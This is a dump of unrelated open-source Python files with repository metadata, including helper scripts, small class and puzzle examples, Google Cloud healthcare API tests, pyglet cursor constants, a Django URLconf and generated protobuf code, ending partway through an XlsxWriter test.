9743d5fd24822f79c156ad112229e25adb9ed6f6
|
/xai/brain/wordbase/verbs/_unifies.py
|
6a571fbebcd0b1f1afa793ee61d08959b4764e46
|
[
"MIT"
] |
permissive
|
cash2one/xai
|
de7adad1758f50dd6786bf0111e71a903f039b64
|
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
|
refs/heads/master
| 2021-01-19T12:33:54.964379
| 2017-01-28T02:00:50
| 2017-01-28T02:00:50
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 233
|
py
|
from xai.brain.wordbase.verbs._unify import _UNIFY
#calss header
class _UNIFIES(_UNIFY, ):
def __init__(self,):
_UNIFY.__init__(self)
self.name = "UNIFIES"
self.specie = 'verbs'
self.basic = "unify"
self.jsondata = {}
|
[
"xingwang1991@gmail.com"
] |
xingwang1991@gmail.com
|
6a75e330e912ea0b671c833906e68358aec70daf
|
1cc54e191b9d6e4ea2a469b92da0f3ac8ccd84b0
|
/tasks/post_session_check_sync_pulses.py
|
435b760d75571b766963aac6ffca53126fef9006
|
[
"MIT"
] |
permissive
|
alejandropan/iblrig
|
027c090dbe54b6ef2cbbf22c16ad60eb040ee949
|
d8e746ccc52c2ad325404077ad2403e165e94d0c
|
refs/heads/master
| 2020-04-28T11:45:36.182150
| 2019-06-12T01:38:06
| 2019-06-12T01:38:06
| 175,253,494
| 0
| 0
|
MIT
| 2019-05-28T01:34:28
| 2019-03-12T16:25:04
|
Python
|
UTF-8
|
Python
| false
| false
| 2,085
|
py
|
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author: Niccolò Bonacchi
# @Date: Thursday, February 21st 2019, 7:13:37 pm
from pathlib import Path
import ibllib.io.raw_data_loaders as raw
import matplotlib.pyplot as plt
import numpy as np
import sys
def get_port_events(events: dict, name: str = '') -> list:
out: list = []
for k in events:
if name in k:
out.extend(events[k])
out = sorted(out)
return out
if __name__ == '__main__':
if len(sys.argv) == 1:
print("I need a file name...")
session_data_file = Path(sys.argv[1])
if not session_data_file.exists():
raise (FileNotFoundError)
if session_data_file.name.endswith('.jsonable'):
data = raw.load_data(session_data_file.parent.parent)
else:
try:
data = raw.load_data(session_data_file)
except Exception:
print('Not a file or a valid session folder')
unsynced_trial_count = 0
frame2ttl = []
sound = []
camera = []
trial_end = []
for trial_data in data:
tevents = trial_data['behavior_data']['Events timestamps']
ev_bnc1 = get_port_events(tevents, name='BNC1')
ev_bnc2 = get_port_events(tevents, name='BNC2')
ev_port1 = get_port_events(tevents, name='Port1')
if not ev_bnc1 or not ev_bnc2 or not ev_port1:
unsynced_trial_count += 1
frame2ttl.extend(ev_bnc1)
sound.extend(ev_bnc2)
camera.extend(ev_port1)
trial_end.append(trial_data['behavior_data']['Trial end timestamp'])
print(f'Found {unsynced_trial_count} trials with bad sync data')
f = plt.figure() # figsize=(19.2, 10.8), dpi=100)
ax = plt.subplot2grid((1, 1), (0, 0), rowspan=1, colspan=1)
ax.plot(camera, np.ones(len(camera)) * 1, '|')
ax.plot(sound, np.ones(len(sound)) * 2, '|')
ax.plot(frame2ttl, np.ones(len(frame2ttl)) * 3, '|')
[ax.axvline(t, alpha=0.5) for t in trial_end]
ax.set_ylim([0, 4])
ax.set_yticks(range(4))
ax.set_yticklabels(['', 'camera', 'sound', 'frame2ttl'])
plt.show()
|
[
"nbonacchi@gmail.com"
] |
nbonacchi@gmail.com
|
7e7e0400ffe2834140e94109ce4329b16205fa98
|
3034e86347c71bf7e7af9e5f7aa44ab5ad61e14b
|
/pbase/day18/classMyList.py
|
814391481cac5af7082c88e154e183db16732870
|
[] |
no_license
|
jason12360/AID1803
|
bda039b82f43d6609aa8028b0d9598f2037c23d5
|
f0c54a3a2f06881b3523fba7501ab085cceae75d
|
refs/heads/master
| 2020-03-17T00:43:42.541761
| 2018-06-29T10:07:44
| 2018-06-29T10:07:44
| 133,127,628
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 134
|
py
|
class Mylist(list):
def insert_head(self,element):
self[0:0] = [element]
L = Mylist(range(5))
L.insert_head(-1)
print(L)
|
[
"370828117@qq.com"
] |
370828117@qq.com
|
ae28b288e8588b7a164a13119aebe56843af8a10
|
89a90707983bdd1ae253f7c59cd4b7543c9eda7e
|
/programming_python/Dstruct/OldIntro/stack3.py
|
e1a2711fb805383ddc41021d2bab73940be3a07f
|
[] |
no_license
|
timothyshull/python_reference_code
|
692a7c29608cadfd46a6cc409a000023e95b9458
|
f3e2205dd070fd3210316f5f470d371950945028
|
refs/heads/master
| 2021-01-22T20:44:07.018811
| 2017-03-17T19:17:22
| 2017-03-17T19:17:22
| 85,346,735
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 355
|
py
|
class Stack:
def __init__(self):
self.stack = [] # initialize list
def push(self, object):
self.stack.append(object) # change in-place
def pop(self):
top = self.stack[-1] # top = end
del self.stack[-1] # delete in-place
return top
def empty(self):
return not self.stack
|
[
"timothyshull@gmail.com"
] |
timothyshull@gmail.com
|
af15bb2708ac33286e3cd7ea1907e886af99d6d6
|
127fa3dd454434b4c7526afe161177af2e10226e
|
/2018校招真题/网易 操作序列.py
|
bfda124710b7fbdb1440fc50027fa803d3ac8b78
|
[] |
no_license
|
lunar-r/sword-to-offer-python
|
966c46a8ddcff8ce5c95697638c988d83da3beab
|
fab4c341486e872fb2926d1b6d50499d55e76a4a
|
refs/heads/master
| 2023-04-18T18:57:12.126441
| 2020-11-29T09:51:23
| 2020-11-29T09:51:23
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,022
|
py
|
# -*- coding: utf-8 -*-
"""
File Name: 网易 操作序列
Description :
Author : simon
date: 19-4-9
"""
def helper(nums):
if nums == [1]:
return [1]
return [nums[-1]] + helper(nums[:-1])[::-1]
"""
找规律 [nums[-1], nums[-3], ...., nums[-4],nums[-2]]
"""
def helper2(nums):
nums = nums[::-1]
res = ['*'] * len(nums)
N = len(nums)
if len(nums) % 2:
res[len(nums) // 2] = nums[-1]
q = 0
for i in range(len(nums)//2):
res[i] = nums[q]
res[N-1-i] = nums[q+1]
q += 2
return res
"""
发现的另外一种规律
"""
n = int(input().strip())
a = input().strip().split()
b = []
if n % 2 == 0:
b.extend(a[1::2][::-1])
b.extend(a[::2])
else:
b.extend(a[::2][::-1])
b.extend(a[1::2])
print(' '.join(b))
if __name__ == '__main__':
_ = input()
nums = input().strip().split(' ')
# nums = list(map(int, nums))
res = helper2(nums)
# res = list(map(str, res))
print(' '.join(res))
|
[
"2711772037@qq.com"
] |
2711772037@qq.com
|
a41a3904dfdcdee0e727b00a0ec2e8dfc1657f97
|
173e0aed80b0d0c01252dd2891be6967f60ce008
|
/healthcare/api-client/v1/hl7v2/hl7v2_messages_test.py
|
06ae20b41a350c427386f1d25cb88cd42f6f9ec2
|
[
"Apache-2.0"
] |
permissive
|
yuriatgoogle/python-docs-samples
|
a59298504c73d7f272637b033662d920dfcc314b
|
9fb1bf82b447e920fe9b80564cc110d1e50f43ab
|
refs/heads/master
| 2023-04-08T03:36:18.691386
| 2021-02-28T17:17:57
| 2021-02-28T17:17:57
| 337,138,011
| 1
| 0
|
Apache-2.0
| 2021-02-28T17:17:58
| 2021-02-08T16:30:52
|
Python
|
UTF-8
|
Python
| false
| false
| 7,415
|
py
|
# Copyright 2018 Google LLC All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os
import sys
import uuid
import backoff
from googleapiclient.errors import HttpError
import pytest
# Add datasets for bootstrapping datasets for testing
sys.path.append(os.path.join(os.path.dirname(__file__), "..", "datasets")) # noqa
import datasets # noqa
import hl7v2_messages # noqa
import hl7v2_stores # noqa
cloud_region = "us-central1"
project_id = os.environ["GOOGLE_CLOUD_PROJECT"]
dataset_id = "test_dataset_{}".format(uuid.uuid4())
hl7v2_store_id = "test_hl7v2_store-{}".format(uuid.uuid4())
hl7v2_message_file = "resources/hl7-sample-ingest.json"
label_key = "PROCESSED"
label_value = "TRUE"
@pytest.fixture(scope="module")
def test_dataset():
@backoff.on_exception(backoff.expo, HttpError, max_time=60)
def create():
try:
datasets.create_dataset(project_id, cloud_region, dataset_id)
except HttpError as err:
# We ignore 409 conflict here, because we know it's most
# likely the first request failed on the client side, but
# the creation suceeded on the server side.
if err.resp.status == 409:
print("Got exception {} while creating dataset".format(err.resp.status))
else:
raise
create()
yield
# Clean up
@backoff.on_exception(backoff.expo, HttpError, max_time=60)
def clean_up():
try:
datasets.delete_dataset(project_id, cloud_region, dataset_id)
except HttpError as err:
# The API returns 403 when the dataset doesn't exist.
if err.resp.status == 404 or err.resp.status == 403:
print("Got exception {} while deleting dataset".format(err.resp.status))
else:
raise
clean_up()
@pytest.fixture(scope="module")
def test_hl7v2_store():
@backoff.on_exception(backoff.expo, HttpError, max_time=60)
def create():
try:
hl7v2_stores.create_hl7v2_store(
project_id, cloud_region, dataset_id, hl7v2_store_id
)
except HttpError as err:
# We ignore 409 conflict here, because we know it's most
# likely the first request failed on the client side, but
# the creation suceeded on the server side.
if err.resp.status == 409:
print(
"Got exception {} while creating HL7v2 store".format(
err.resp.status
)
)
else:
raise
create()
yield
# Clean up
@backoff.on_exception(backoff.expo, HttpError, max_time=60)
def clean_up():
try:
hl7v2_stores.delete_hl7v2_store(
project_id, cloud_region, dataset_id, hl7v2_store_id
)
except HttpError as err:
# The API returns 403 when the HL7v2 store doesn't exist.
if err.resp.status == 404 or err.resp.status == 403:
print(
"Got exception {} while deleting HL7v2 store".format(
err.resp.status
)
)
else:
raise
clean_up()
def test_CRUD_hl7v2_message(test_dataset, test_hl7v2_store, capsys):
hl7v2_messages.create_hl7v2_message(
project_id, cloud_region, dataset_id, hl7v2_store_id, hl7v2_message_file
)
@backoff.on_exception(backoff.expo, AssertionError, max_time=60)
def run_eventually_consistent_test():
hl7v2_messages_list = hl7v2_messages.list_hl7v2_messages(
project_id, cloud_region, dataset_id, hl7v2_store_id
)
assert len(hl7v2_messages_list) > 0
hl7v2_message_name = hl7v2_messages_list[0].get("name")
elms = hl7v2_message_name.split("/", 9)
assert len(elms) >= 10
hl7v2_message_id = elms[9]
return hl7v2_message_id
hl7v2_message_id = run_eventually_consistent_test()
hl7v2_messages.get_hl7v2_message(
project_id, cloud_region, dataset_id, hl7v2_store_id, hl7v2_message_id
)
hl7v2_messages.delete_hl7v2_message(
project_id, cloud_region, dataset_id, hl7v2_store_id, hl7v2_message_id
)
out, _ = capsys.readouterr()
# Check that create/get/list/delete worked
assert "Created HL7v2 message" in out
assert "Name" in out
assert "Deleted HL7v2 message" in out
def test_ingest_hl7v2_message(test_dataset, test_hl7v2_store, capsys):
hl7v2_messages.ingest_hl7v2_message(
project_id, cloud_region, dataset_id, hl7v2_store_id, hl7v2_message_file
)
@backoff.on_exception(backoff.expo, AssertionError, max_time=60)
def run_eventually_consistent_test():
hl7v2_messages_list = hl7v2_messages.list_hl7v2_messages(
project_id, cloud_region, dataset_id, hl7v2_store_id
)
assert len(hl7v2_messages_list) > 0
hl7v2_message_name = hl7v2_messages_list[0].get("name")
elms = hl7v2_message_name.split("/", 9)
assert len(elms) >= 10
hl7v2_message_id = elms[9]
return hl7v2_message_id
hl7v2_message_id = run_eventually_consistent_test()
hl7v2_messages.get_hl7v2_message(
project_id, cloud_region, dataset_id, hl7v2_store_id, hl7v2_message_id
)
hl7v2_messages.delete_hl7v2_message(
project_id, cloud_region, dataset_id, hl7v2_store_id, hl7v2_message_id
)
out, _ = capsys.readouterr()
# Check that ingest/get/list/delete worked
assert "Ingested HL7v2 message" in out
assert "Name" in out
assert "Deleted HL7v2 message" in out
def test_patch_hl7v2_message(test_dataset, test_hl7v2_store, capsys):
hl7v2_messages.create_hl7v2_message(
project_id, cloud_region, dataset_id, hl7v2_store_id, hl7v2_message_file
)
@backoff.on_exception(backoff.expo, (AssertionError, HttpError), max_time=60)
def run_eventually_consistent_test():
hl7v2_messages_list = hl7v2_messages.list_hl7v2_messages(
project_id, cloud_region, dataset_id, hl7v2_store_id
)
assert len(hl7v2_messages_list) > 0
hl7v2_message_name = hl7v2_messages_list[0].get("name")
elms = hl7v2_message_name.split("/", 9)
assert len(elms) >= 10
hl7v2_message_id = elms[9]
return hl7v2_message_id
hl7v2_message_id = run_eventually_consistent_test()
hl7v2_messages.patch_hl7v2_message(
project_id,
cloud_region,
dataset_id,
hl7v2_store_id,
hl7v2_message_id,
label_key,
label_value,
)
hl7v2_messages.delete_hl7v2_message(
project_id, cloud_region, dataset_id, hl7v2_store_id, hl7v2_message_id
)
out, _ = capsys.readouterr()
# Check that patch worked
assert "Patched HL7v2 message" in out
|
[
"noreply@github.com"
] |
yuriatgoogle.noreply@github.com
|
156fd1f615108a6a975110457e3f01ee5b5a7ca9
|
c858d9511cdb6a6ca723cd2dd05827d281fa764d
|
/MFTU/lesson 2/practice_robot/robot-tasks-master/task_25.py
|
ed88ac2f39e4be1dd10bd7d1af830ef72db2fa21
|
[] |
no_license
|
DontTouchMyMind/education
|
0c904aa929cb5349d7af7e06d9b1bbaab972ef95
|
32a53eb4086b730cc116e633f68cf01f3d4ec1d1
|
refs/heads/master
| 2021-03-12T11:15:02.479779
| 2020-09-17T08:19:50
| 2020-09-17T08:19:50
| 246,616,542
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 475
|
py
|
#!/usr/bin/python3
from pyrob.api import *
@task
def task_2_2():
def chest():
fill_cell()
move_right()
fill_cell()
move_right()
fill_cell()
move_down()
move_left()
fill_cell()
move_up()
move_up()
fill_cell()
move_down(2)
chest()
for i in range(4):
move_right(3)
move_down()
chest()
move_left()
if __name__ == '__main__':
run_tasks()
|
[
"tobigface@gmail.com"
] |
tobigface@gmail.com
|
17c14221dd22255ed751dc3f60dafc64a8e62399
|
01857ef455ea60eccaf03b5a9059ec83e9803c2e
|
/nicegui/tailwind_types/text_align.py
|
476e196f84b46e2c187f30f1984c510e8a9430c5
|
[
"MIT"
] |
permissive
|
zauberzeug/nicegui
|
f08312cc1f393deca79e0e84a2506d3a35efff16
|
c61b1315f29d51e26cc1168207f5616b302f8df0
|
refs/heads/main
| 2023-08-18T18:09:30.937322
| 2023-08-18T15:04:00
| 2023-08-18T15:04:00
| 365,250,183
| 5,128
| 271
|
MIT
| 2023-09-14T01:50:56
| 2021-05-07T13:55:05
|
Python
|
UTF-8
|
Python
| false
| false
| 129
|
py
|
from typing import Literal
TextAlign = Literal[
'left',
'center',
'right',
'justify',
'start',
'end',
]
|
[
"falko@zauberzeug.com"
] |
falko@zauberzeug.com
|
462611dfa57951daafc012909847ccf8fa2f644e
|
60c84d8dc4b30731193745bf0580584087efe337
|
/examples/hello/hello.py
|
53bd3f56564ec3d0888b59c23c85a01ffe0e0ee1
|
[] |
no_license
|
danse-inelastic/pyregui
|
f321917f6c0c955356d8b87f6466c3acddd5b194
|
3d7f90352361cbdbaa553002be6e810e84b3f44d
|
refs/heads/master
| 2020-04-05T18:57:14.422685
| 2013-06-14T00:30:44
| 2013-06-14T00:30:44
| 34,145,791
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,078
|
py
|
#!/usr/bin/env python
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
# {LicenseText}
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
from pyre.components.Component import Component
class hello(Component):
'A greeter that says "hello"'
class Inventory(Component.Inventory):
import pyre.inventory
greeting = pyre.inventory.str( 'greeting', default = 'hello' )
pass
def greet(self, name):
greeting = self.greeting
print "%s %s" % (greeting, name)
return
def __init__(self, name, facility = "greeter"):
Component.__init__(self, name, facility=facility)
return
def _defaults(self):
Component._defaults(self)
return
def _configure(self):
Component._configure(self)
self.greeting = self.inventory.greeting
return
def _init(self):
Component._init(self)
return
def greeter(): return hello( 'hello' )
# version
__id__ = "$Id$"
# End of file
|
[
"linjiao@caltech.edu"
] |
linjiao@caltech.edu
|
95f1540887394030c26f2f55d4910567d0642e49
|
6dfa271fb41c9d4a1a74ce34c4bee252a2d86291
|
/sympy/thirdparty/pyglet/pyglet/window/xlib/cursorfont.py
|
16c5e740ecd81ff97be40c31104783842b690ad0
|
[
"BSD-3-Clause"
] |
permissive
|
gnulinooks/sympy
|
7e4776cd1ea24bde56dbc17207611a9bc7523e50
|
46f63841f96cd025289b91ba9db3e261138d720a
|
refs/heads/master
| 2016-09-10T18:56:49.556138
| 2009-04-05T14:10:49
| 2009-04-05T14:10:49
| 169,114
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,295
|
py
|
# ----------------------------------------------------------------------------
# pyglet
# Copyright (c) 2006-2007 Alex Holkner
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in
# the documentation and/or other materials provided with the
# distribution.
# * Neither the name of the pyglet nor the names of its
# contributors may be used to endorse or promote products
# derived from this software without specific prior written
# permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
# ----------------------------------------------------------------------------
'''
'''
__docformat__ = 'restructuredtext'
__version__ = '$Id: cursorfont.py 1322 2007-10-23 12:58:03Z Alex.Holkner $'
# /usr/include/X11/cursorfont.h
XC_num_glyphs = 154
XC_X_cursor = 0
XC_arrow = 2
XC_based_arrow_down = 4
XC_based_arrow_up = 6
XC_boat = 8
XC_bogosity = 10
XC_bottom_left_corner = 12
XC_bottom_right_corner = 14
XC_bottom_side = 16
XC_bottom_tee = 18
XC_box_spiral = 20
XC_center_ptr = 22
XC_circle = 24
XC_clock = 26
XC_coffee_mug = 28
XC_cross = 30
XC_cross_reverse = 32
XC_crosshair = 34
XC_diamond_cross = 36
XC_dot = 38
XC_dotbox = 40
XC_double_arrow = 42
XC_draft_large = 44
XC_draft_small = 46
XC_draped_box = 48
XC_exchange = 50
XC_fleur = 52
XC_gobbler = 54
XC_gumby = 56
XC_hand1 = 58
XC_hand2 = 60
XC_heart = 62
XC_icon = 64
XC_iron_cross = 66
XC_left_ptr = 68
XC_left_side = 70
XC_left_tee = 72
XC_leftbutton = 74
XC_ll_angle = 76
XC_lr_angle = 78
XC_man = 80
XC_middlebutton = 82
XC_mouse = 84
XC_pencil = 86
XC_pirate = 88
XC_plus = 90
XC_question_arrow = 92
XC_right_ptr = 94
XC_right_side = 96
XC_right_tee = 98
XC_rightbutton = 100
XC_rtl_logo = 102
XC_sailboat = 104
XC_sb_down_arrow = 106
XC_sb_h_double_arrow = 108
XC_sb_left_arrow = 110
XC_sb_right_arrow = 112
XC_sb_up_arrow = 114
XC_sb_v_double_arrow = 116
XC_shuttle = 118
XC_sizing = 120
XC_spider = 122
XC_spraycan = 124
XC_star = 126
XC_target = 128
XC_tcross = 130
XC_top_left_arrow = 132
XC_top_left_corner = 134
XC_top_right_corner = 136
XC_top_side = 138
XC_top_tee = 140
XC_trek = 142
XC_ul_angle = 144
XC_umbrella = 146
XC_ur_angle = 148
XC_watch = 150
XC_xterm = 152
|
[
"ondrej@certik.cz"
] |
ondrej@certik.cz
|
733f9358c73617a8542ae58b5af6e60c4fd3b6da
|
831fc9a25077345226874a103a46724a3906ddbe
|
/b_list/urls.py
|
5b00c938cb3bbe4efe019852ead1926ef5a8a777
|
[
"BSD-3-Clause"
] |
permissive
|
softwareprojectPHD/b_list
|
a2f6c0890b0dbd348c77d62cdac81db69ea2e2c3
|
7efc5d15750b0fd366a40eef4794a0356f309327
|
refs/heads/master
| 2020-12-25T09:27:44.477238
| 2016-04-16T03:54:13
| 2016-04-17T03:58:12
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,378
|
py
|
"""
Root URLconf.
"""
from django.conf.urls import include
from django.conf.urls import url
from django.contrib import admin
from blog.views import EntryArchiveIndex
from flashpolicies.views import no_access
# Redirect views which prevent an older URL scheme from 404'ing.
from . import views
urls = [
url(r'^admin/', include(admin.site.urls)),
url(r'^$',
EntryArchiveIndex.as_view(
template_name='home.html',
),
name='home'),
url(r'^contact/', include('contact_form.urls')),
url(r'^feeds/', include('blog.urls.feeds')),
url(r'^projects/', include('projects.urls')),
url(r'^weblog/categories/', include('blog.urls.categories')),
url(r'^weblog/', include('blog.urls.entries')),
url(r'^crossdomain.xml$', no_access),
]
legacy = [
url(r'^links/', views.gone),
url(r'^weblog/(?P<year>\d{4})/(?P<month>\d{2})/$',
views.EntryMonthRedirect.as_view()),
url(r'^weblog/(?P<year>\d{4})/(?P<month>\d{2})/(?P<day>\d{2})/$',
views.EntryDayRedirect.as_view()),
url(r'^weblog/(?P<year>\d{4})/(?P<month>\d{2})/(?P<day>\d{2})/(?P<slug>[-\w]+)/$',
views.EntryDetailRedirect.as_view()),
url(r'^media/(?P<path>.*)$', views.MediaRedirect.as_view()),
]
# The redirecting patterns come first; otherwise, the main URLs would
# catch those and 404.
urlpatterns = legacy + urls
|
[
"james@b-list.org"
] |
james@b-list.org
|
9c079ffee4a8446340856d6c9a3f18c21f3f77a0
|
a81c1492783e7cafcaf7da5f0402d2d283b7ce37
|
/google/ads/google_ads/v6/proto/errors/account_link_error_pb2.py
|
bcb4b476f4b191721a76ed542da5e88fb13651ea
|
[
"Apache-2.0"
] |
permissive
|
VincentFritzsche/google-ads-python
|
6650cf426b34392d1f58fb912cb3fc25b848e766
|
969eff5b6c3cec59d21191fa178cffb6270074c3
|
refs/heads/master
| 2023-03-19T17:23:26.959021
| 2021-03-18T18:18:38
| 2021-03-18T18:18:38
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| true
| 3,974
|
py
|
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/ads/googleads/v6/errors/account_link_error.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='google/ads/googleads/v6/errors/account_link_error.proto',
package='google.ads.googleads.v6.errors',
syntax='proto3',
serialized_options=b'\n\"com.google.ads.googleads.v6.errorsB\025AccountLinkErrorProtoP\001ZDgoogle.golang.org/genproto/googleapis/ads/googleads/v6/errors;errors\242\002\003GAA\252\002\036Google.Ads.GoogleAds.V6.Errors\312\002\036Google\\Ads\\GoogleAds\\V6\\Errors\352\002\"Google::Ads::GoogleAds::V6::Errors',
create_key=_descriptor._internal_create_key,
serialized_pb=b'\n7google/ads/googleads/v6/errors/account_link_error.proto\x12\x1egoogle.ads.googleads.v6.errors\x1a\x1cgoogle/api/annotations.proto\"\\\n\x14\x41\x63\x63ountLinkErrorEnum\"D\n\x10\x41\x63\x63ountLinkError\x12\x0f\n\x0bUNSPECIFIED\x10\x00\x12\x0b\n\x07UNKNOWN\x10\x01\x12\x12\n\x0eINVALID_STATUS\x10\x02\x42\xf0\x01\n\"com.google.ads.googleads.v6.errorsB\x15\x41\x63\x63ountLinkErrorProtoP\x01ZDgoogle.golang.org/genproto/googleapis/ads/googleads/v6/errors;errors\xa2\x02\x03GAA\xaa\x02\x1eGoogle.Ads.GoogleAds.V6.Errors\xca\x02\x1eGoogle\\Ads\\GoogleAds\\V6\\Errors\xea\x02\"Google::Ads::GoogleAds::V6::Errorsb\x06proto3'
,
dependencies=[google_dot_api_dot_annotations__pb2.DESCRIPTOR,])
_ACCOUNTLINKERRORENUM_ACCOUNTLINKERROR = _descriptor.EnumDescriptor(
name='AccountLinkError',
full_name='google.ads.googleads.v6.errors.AccountLinkErrorEnum.AccountLinkError',
filename=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
values=[
_descriptor.EnumValueDescriptor(
name='UNSPECIFIED', index=0, number=0,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='UNKNOWN', index=1, number=1,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='INVALID_STATUS', index=2, number=2,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
],
containing_type=None,
serialized_options=None,
serialized_start=145,
serialized_end=213,
)
_sym_db.RegisterEnumDescriptor(_ACCOUNTLINKERRORENUM_ACCOUNTLINKERROR)
_ACCOUNTLINKERRORENUM = _descriptor.Descriptor(
name='AccountLinkErrorEnum',
full_name='google.ads.googleads.v6.errors.AccountLinkErrorEnum',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
],
extensions=[
],
nested_types=[],
enum_types=[
_ACCOUNTLINKERRORENUM_ACCOUNTLINKERROR,
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=121,
serialized_end=213,
)
_ACCOUNTLINKERRORENUM_ACCOUNTLINKERROR.containing_type = _ACCOUNTLINKERRORENUM
DESCRIPTOR.message_types_by_name['AccountLinkErrorEnum'] = _ACCOUNTLINKERRORENUM
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
AccountLinkErrorEnum = _reflection.GeneratedProtocolMessageType('AccountLinkErrorEnum', (_message.Message,), {
'DESCRIPTOR' : _ACCOUNTLINKERRORENUM,
'__module__' : 'google.ads.googleads.v6.errors.account_link_error_pb2'
# @@protoc_insertion_point(class_scope:google.ads.googleads.v6.errors.AccountLinkErrorEnum)
})
_sym_db.RegisterMessage(AccountLinkErrorEnum)
DESCRIPTOR._options = None
# @@protoc_insertion_point(module_scope)
|
[
"noreply@github.com"
] |
VincentFritzsche.noreply@github.com
|
03b546b952137e54723329d1559c8288fabd29d9
|
765189a475513378ae80c97faf38b99e3ce1dc28
|
/algorithms/401-500/476.number-complement.py
|
2a0252d82de04ee699e259e24f88bb2856487172
|
[] |
no_license
|
huilizhou/kemu_shuati
|
c8afc979f57634e066f6ce98da879cf1ed4e6b95
|
55b52cfff699aa71d92dd09d150ce71628b21890
|
refs/heads/master
| 2020-04-29T01:13:53.784665
| 2019-03-15T01:16:06
| 2019-03-15T01:16:06
| 175,723,493
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 704
|
py
|
class Solution(object):
def findComplement(self, num):
"""
:type num: int
:rtype: int
"""
# 人家的解法
# return 2 ** (len(bin(num)) - 2) - 1 - num
# # 我的解法
# z = bin(num)[2:]
# z1 = ''
# for i in z:
# if i == '1':
# z1 += '0'
# else:
# z1 += '1'
# res = int(z1, 2)
# return res
# 人家的解法
# n = 2
# while n < num:
# n <<= 1
# return n - 1 - num
i = 1
while num >= i:
num ^= i
i <<= 1
return num
print(Solution().findComplement(5))
|
[
"2540278344@qq.com"
] |
2540278344@qq.com
|
e2daf2c10b89897b95813eb9b9aa8cb2a7c61e8b
|
9b422078f4ae22fe16610f2ebc54b8c7d905ccad
|
/xlsxwriter/test/comparison/test_textbox04.py
|
486daa245958fcdc1dee5ed14a655faaee774af2
|
[
"BSD-2-Clause-Views"
] |
permissive
|
projectsmahendra/XlsxWriter
|
73d8c73ea648a911deea63cb46b9069fb4116b60
|
9b9d6fb283c89af8b6c89ad20f72b8208c2aeb45
|
refs/heads/master
| 2023-07-21T19:40:41.103336
| 2023-07-08T16:54:37
| 2023-07-08T16:54:37
| 353,636,960
| 0
| 0
|
NOASSERTION
| 2021-04-01T08:57:21
| 2021-04-01T08:57:20
| null |
UTF-8
|
Python
| false
| false
| 1,369
|
py
|
###############################################################################
#
# Tests for XlsxWriter.
#
# Copyright (c), 2013-2021, John McNamara, jmcnamara@cpan.org
#
from ..excel_comparison_test import ExcelComparisonTest
from ...workbook import Workbook
class TestCompareXLSXFiles(ExcelComparisonTest):
"""
Test file created by XlsxWriter against a file created by Excel.
"""
def setUp(self):
self.set_filename('textbox04.xlsx')
def test_create_file(self):
"""Test the creation of a simple XlsxWriter file with textbox(s)."""
workbook = Workbook(self.got_filename)
worksheet = workbook.add_worksheet()
chart = workbook.add_chart({'type': 'column'})
